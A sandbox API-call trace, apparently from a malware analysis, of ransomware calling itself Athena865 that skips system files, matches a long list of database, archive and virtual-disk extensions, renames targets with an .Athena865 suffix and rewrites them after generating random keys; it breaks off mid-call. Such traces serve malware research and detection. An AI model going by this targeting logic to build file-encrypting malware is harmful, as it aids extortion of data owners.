1 [0152.047] lstrlenW (lpString="rbf") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="rbf") returned 1 [0152.047] lstrlenW (lpString="rctd") returned 4 [0152.047] lstrcmpiW (lpString1=".SAM", lpString2="rctd") returned -1 [0152.047] lstrlenW (lpString="rod") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="rod") returned 1 [0152.047] lstrlenW (lpString="rodx") returned 4 [0152.047] lstrcmpiW (lpString1=".SAM", lpString2="rodx") returned -1 [0152.047] lstrlenW (lpString="rpd") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="rpd") returned 1 [0152.047] lstrlenW (lpString="rsd") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="rsd") returned 1 [0152.047] lstrlenW (lpString="sas7bdat") returned 8 [0152.047] lstrlenW (lpString="sbf") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="sbf") returned -1 [0152.047] lstrlenW (lpString="scx") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="scx") returned -1 [0152.047] lstrlenW (lpString="sdb") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="sdb") returned -1 [0152.048] lstrlenW (lpString="sdc") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="sdc") returned -1 [0152.048] lstrlenW (lpString="sdf") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="sdf") returned -1 [0152.048] lstrlenW (lpString="sis") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="sis") returned -1 [0152.048] lstrlenW (lpString="spq") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="spq") returned -1 [0152.048] lstrlenW (lpString="te") returned 2 [0152.048] lstrcmpiW (lpString1="AM", lpString2="te") returned -1 [0152.048] lstrlenW (lpString="teacher") returned 7 [0152.048] lstrcmpiW (lpString1="CT3.SAM", lpString2="teacher") returned -1 [0152.048] lstrlenW (lpString="tmd") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="tmd") returned -1 [0152.048] lstrlenW (lpString="tps") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="tps") returned -1 [0152.048] lstrlenW (lpString="trc") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="trc") returned -1 [0152.048] lstrlenW (lpString="trc") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="trc") returned -1 [0152.048] lstrlenW (lpString="trm") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="trm") returned -1 [0152.048] lstrlenW (lpString="udb") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="udb") returned -1 [0152.048] lstrlenW (lpString="udl") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="udl") returned -1 [0152.048] lstrlenW (lpString="usr") returned 3 [0152.048] lstrcmpiW (lpString1="SAM", lpString2="usr") returned -1 [0152.049] lstrlenW (lpString="v12") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="v12") returned -1 [0152.049] lstrlenW (lpString="vis") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="vis") returned -1 [0152.049] lstrlenW (lpString="vpd") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="vpd") returned -1 [0152.049] lstrlenW (lpString="vvv") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="vvv") returned -1 [0152.049] lstrlenW (lpString="wdb") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="wdb") returned -1 [0152.049] lstrlenW (lpString="wmdb") returned 4 [0152.049] lstrcmpiW (lpString1=".SAM", lpString2="wmdb") returned -1 [0152.049] lstrlenW (lpString="wrk") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="wrk") returned -1 [0152.049] lstrlenW (lpString="xdb") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="xdb") returned -1 [0152.049] lstrlenW (lpString="xld") returned 3 [0152.049] lstrcmpiW (lpString1="SAM", lpString2="xld") returned -1 [0152.049] lstrlenW (lpString="xmlff") returned 5 [0152.049] lstrcmpiW (lpString1="3.SAM", lpString2="xmlff") returned -1 [0152.049] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.Athena865") returned 69 [0152.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.athena865"), dwFlags=0x1) returned 1 [0152.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ACT3.SAM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\act3.sam.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.051] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=90488) returned 1 [0152.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.052] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.052] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.053] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.053] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16480, lpName=0x0) returned 0x154 [0152.054] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16480) returned 0x100000 [0152.059] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.060] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.060] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.060] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.061] CloseHandle (hObject=0x154) returned 1 [0152.061] CloseHandle (hObject=0x17c) returned 1 [0152.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.062] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2=".") returned 1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="..") returned 1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="windows") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="bootmgr") returned 1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="temp") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="pagefile.sys") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="boot") returned 1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="ids.txt") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="ntuser.dat") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="perflogs") returned -1 [0152.062] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2="MSBuild") returned -1 [0152.062] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0152.063] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DELIMDOS.FAE" | out: lpString1="DELIMDOS.FAE") returned="DELIMDOS.FAE" [0152.063] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0152.063] lstrlenW (lpString="Athena865") returned 9 [0152.063] lstrcmpiW (lpString1="IMDOS.FAE", lpString2="Athena865") returned 1 [0152.063] lstrlenW (lpString=".dll") returned 4 [0152.063] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2=".dll") returned 1 [0152.063] lstrlenW (lpString=".lnk") returned 4 [0152.063] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2=".lnk") returned 1 [0152.063] lstrlenW (lpString=".ini") returned 4 [0152.063] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2=".ini") returned 1 [0152.063] lstrlenW (lpString=".sys") returned 4 [0152.063] lstrcmpiW (lpString1="DELIMDOS.FAE", lpString2=".sys") returned 1 [0152.063] lstrlenW (lpString="DELIMDOS.FAE") returned 12 [0152.063] lstrlenW (lpString="bak") returned 3 [0152.063] lstrcmpiW (lpString1="FAE", lpString2="bak") returned 1 [0152.063] lstrlenW (lpString="ba_") returned 3 [0152.063] lstrcmpiW (lpString1="FAE", lpString2="ba_") returned 1 [0152.063] lstrlenW (lpString="dbb") returned 3 [0152.063] lstrcmpiW (lpString1="FAE", lpString2="dbb") returned 1 [0152.063] lstrlenW (lpString="vmdk") returned 4 [0152.063] lstrcmpiW (lpString1=".FAE", lpString2="vmdk") returned -1 [0152.063] lstrlenW (lpString="rar") returned 3 [0152.063] lstrcmpiW (lpString1="FAE", lpString2="rar") returned -1 [0152.063] lstrlenW (lpString="zip") returned 3 [0152.063] lstrcmpiW (lpString1="FAE", lpString2="zip") returned -1 [0152.063] lstrlenW (lpString="tgz") returned 3 [0152.063] lstrcmpiW (lpString1="FAE", lpString2="tgz") returned -1 [0152.063] lstrlenW (lpString="vbox") returned 4 [0152.064] lstrcmpiW (lpString1=".FAE", lpString2="vbox") returned -1 [0152.064] lstrlenW (lpString="vdi") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="vdi") returned -1 [0152.064] lstrlenW (lpString="vhd") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="vhd") returned -1 [0152.064] lstrlenW (lpString="vhdx") returned 4 [0152.064] lstrcmpiW (lpString1=".FAE", lpString2="vhdx") returned -1 [0152.064] lstrlenW (lpString="avhd") returned 4 [0152.064] lstrcmpiW (lpString1=".FAE", lpString2="avhd") returned -1 [0152.064] lstrlenW (lpString="db") returned 2 [0152.064] lstrcmpiW (lpString1="AE", lpString2="db") returned -1 [0152.064] lstrlenW (lpString="db2") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="db2") returned 1 [0152.064] lstrlenW (lpString="db3") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="db3") returned 1 [0152.064] lstrlenW (lpString="dbf") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="dbf") returned 1 [0152.064] lstrlenW (lpString="mdf") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="mdf") returned -1 [0152.064] lstrlenW (lpString="mdb") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="mdb") returned -1 [0152.064] lstrlenW (lpString="sql") returned 3 [0152.064] lstrcmpiW (lpString1="FAE", lpString2="sql") returned -1 [0152.064] lstrlenW (lpString="sqlite") returned 6 [0152.064] lstrcmpiW (lpString1="OS.FAE", lpString2="sqlite") returned -1 [0152.064] lstrlenW (lpString="sqlite3") returned 7 [0152.064] lstrcmpiW (lpString1="DOS.FAE", lpString2="sqlite3") returned -1 [0152.064] lstrlenW (lpString="sqlitedb") returned 8 [0152.064] lstrcmpiW (lpString1="MDOS.FAE", lpString2="sqlitedb") returned -1 [0152.064] lstrlenW (lpString="xml") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="xml") returned -1 [0152.065] lstrlenW (lpString="$er") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="$er") returned 1 [0152.065] lstrlenW (lpString="4dd") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="4dd") returned 1 [0152.065] lstrlenW (lpString="4dl") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="4dl") returned 1 [0152.065] lstrlenW (lpString="^^^") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="^^^") returned 1 [0152.065] lstrlenW (lpString="abs") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="abs") returned 1 [0152.065] lstrlenW (lpString="abx") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="abx") returned 1 [0152.065] lstrlenW (lpString="accdb") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accdb") returned 1 [0152.065] lstrlenW (lpString="accdc") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accdc") returned 1 [0152.065] lstrlenW (lpString="accde") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accde") returned 1 [0152.065] lstrlenW (lpString="accdr") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accdr") returned 1 [0152.065] lstrlenW (lpString="accdt") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accdt") returned 1 [0152.065] lstrlenW (lpString="accdw") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accdw") returned 1 [0152.065] lstrlenW (lpString="accft") returned 5 [0152.065] lstrcmpiW (lpString1="S.FAE", lpString2="accft") returned 1 [0152.065] lstrlenW (lpString="adb") returned 3 [0152.065] lstrcmpiW (lpString1="FAE", lpString2="adb") returned 1 [0152.065] lstrlenW (lpString="adb") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="adb") returned 1 [0152.066] lstrlenW (lpString="ade") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="ade") returned 1 [0152.066] lstrlenW (lpString="adf") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="adf") returned 1 [0152.066] lstrlenW (lpString="adn") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="adn") returned 1 [0152.066] lstrlenW (lpString="adp") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="adp") returned 1 [0152.066] lstrlenW (lpString="alf") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="alf") returned 1 [0152.066] lstrlenW (lpString="ask") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="ask") returned 1 [0152.066] lstrlenW (lpString="btr") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="btr") returned 1 [0152.066] lstrlenW (lpString="cat") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="cat") returned 1 [0152.066] lstrlenW (lpString="cdb") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="cdb") returned 1 [0152.066] lstrlenW (lpString="ckp") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="ckp") returned 1 [0152.066] lstrlenW (lpString="cma") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="cma") returned 1 [0152.066] lstrlenW (lpString="cpd") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="cpd") returned 1 [0152.066] lstrlenW (lpString="dacpac") returned 6 [0152.066] lstrcmpiW (lpString1="OS.FAE", lpString2="dacpac") returned 1 [0152.066] lstrlenW (lpString="dad") returned 3 [0152.066] lstrcmpiW (lpString1="FAE", lpString2="dad") returned 1 [0152.067] lstrlenW (lpString="dadiagrams") returned 10 [0152.067] lstrcmpiW (lpString1="LIMDOS.FAE", lpString2="dadiagrams") returned 1 [0152.067] lstrlenW (lpString="daschema") returned 8 [0152.067] lstrcmpiW (lpString1="MDOS.FAE", lpString2="daschema") returned 1 [0152.067] lstrlenW (lpString="db-journal") returned 10 [0152.067] lstrcmpiW (lpString1="LIMDOS.FAE", lpString2="db-journal") returned 1 [0152.067] lstrlenW (lpString="db-shm") returned 6 [0152.067] lstrcmpiW (lpString1="OS.FAE", lpString2="db-shm") returned 1 [0152.067] lstrlenW (lpString="db-wal") returned 6 [0152.067] lstrcmpiW (lpString1="OS.FAE", lpString2="db-wal") returned 1 [0152.067] lstrlenW (lpString="dbc") returned 3 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dbc") returned 1 [0152.067] lstrlenW (lpString="dbs") returned 3 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dbs") returned 1 [0152.067] lstrlenW (lpString="dbt") returned 3 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dbt") returned 1 [0152.067] lstrlenW (lpString="dbv") returned 3 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dbv") returned 1 [0152.067] lstrlenW (lpString="dbx") returned 3 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dbx") returned 1 [0152.067] lstrlenW (lpString="dcb") returned 3 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dcb") returned 1 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dct") returned 1 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="dcx") returned 1 [0152.067] lstrcmpiW (lpString1="FAE", lpString2="ddl") returned 1 [0152.068] lstrcmpiW (lpString1=".FAE", lpString2="dlis") returned -1 [0152.068] lstrcmpiW (lpString1="FAE", lpString2="dp1") returned 1 [0152.068] lstrcmpiW (lpString1="FAE", lpString2="dqy") returned 1 [0152.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.Athena865") returned 73 [0152.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.athena865"), dwFlags=0x1) returned 1 [0152.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.069] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31120) returned 1 [0152.069] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0152.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0152.070] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0152.070] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.071] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.071] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c90, lpName=0x0) returned 0x154 [0152.072] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c90) returned 0x100000 [0152.074] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.075] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.075] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0152.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0152.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.076] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.076] CloseHandle (hObject=0x154) returned 1 [0152.076] CloseHandle (hObject=0x17c) returned 1 [0152.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0152.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0152.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.076] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0152.076] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.076] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2=".") returned 1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="..") returned 1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="windows") returned -1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="bootmgr") returned 1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="temp") returned -1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="pagefile.sys") returned -1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="boot") returned 1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="ids.txt") returned -1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="ntuser.dat") returned -1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="perflogs") returned -1 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2="MSBuild") returned -1 [0152.077] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0152.077] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DELIMWIN.FAE" | out: lpString1="DELIMWIN.FAE") returned="DELIMWIN.FAE" [0152.077] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0152.077] lstrlenW (lpString="Athena865") returned 9 [0152.077] lstrcmpiW (lpString1="IMWIN.FAE", lpString2="Athena865") returned 1 [0152.077] lstrlenW (lpString=".dll") returned 4 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2=".dll") returned 1 [0152.077] lstrlenW (lpString=".lnk") returned 4 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2=".lnk") returned 1 [0152.077] lstrlenW (lpString=".ini") returned 4 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2=".ini") returned 1 [0152.077] lstrlenW (lpString=".sys") returned 4 [0152.077] lstrcmpiW (lpString1="DELIMWIN.FAE", lpString2=".sys") returned 1 [0152.077] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0152.077] lstrlenW (lpString="bak") returned 3 [0152.077] lstrcmpiW (lpString1="FAE", lpString2="bak") returned 1 [0152.077] lstrlenW (lpString="ba_") returned 3 [0152.077] lstrcmpiW (lpString1="FAE", lpString2="ba_") returned 1 [0152.077] lstrlenW (lpString="dbb") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="dbb") returned 1 [0152.078] lstrlenW (lpString="vmdk") returned 4 [0152.078] lstrcmpiW (lpString1=".FAE", lpString2="vmdk") returned -1 [0152.078] lstrlenW (lpString="rar") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="rar") returned -1 [0152.078] lstrlenW (lpString="zip") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="zip") returned -1 [0152.078] lstrlenW (lpString="tgz") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="tgz") returned -1 [0152.078] lstrlenW (lpString="vbox") returned 4 [0152.078] lstrcmpiW (lpString1=".FAE", lpString2="vbox") returned -1 [0152.078] lstrlenW (lpString="vdi") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="vdi") returned -1 [0152.078] lstrlenW (lpString="vhd") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="vhd") returned -1 [0152.078] lstrlenW (lpString="vhdx") returned 4 [0152.078] lstrcmpiW (lpString1=".FAE", lpString2="vhdx") returned -1 [0152.078] lstrlenW (lpString="avhd") returned 4 [0152.078] lstrcmpiW (lpString1=".FAE", lpString2="avhd") returned -1 [0152.078] lstrlenW (lpString="db") returned 2 [0152.078] lstrcmpiW (lpString1="AE", lpString2="db") returned -1 [0152.078] lstrlenW (lpString="db2") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="db2") returned 1 [0152.078] lstrlenW (lpString="db3") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="db3") returned 1 [0152.078] lstrlenW (lpString="dbf") returned 3 [0152.078] lstrcmpiW (lpString1="FAE", lpString2="dbf") returned 1 [0152.078] lstrlenW 